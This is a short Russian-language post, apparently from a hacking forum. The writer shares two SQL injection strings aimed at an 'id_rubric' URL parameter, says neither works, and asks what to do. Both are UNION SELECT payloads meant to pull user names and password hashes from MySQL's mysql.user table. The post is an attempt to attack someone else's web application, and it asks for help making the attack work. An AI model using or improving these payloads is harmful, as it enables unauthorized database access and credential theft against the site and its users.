Ребят вот такая конструкция - "id_rubric=9999+union+select+1,mysql.user.password ,3+from+mysql.user/*" не помогает, что делать?

Эта тоже непомогает - "id_rubric=9999+union+select+1,concat_ws(0x2F,user ,password),3+from+mysql.user/*"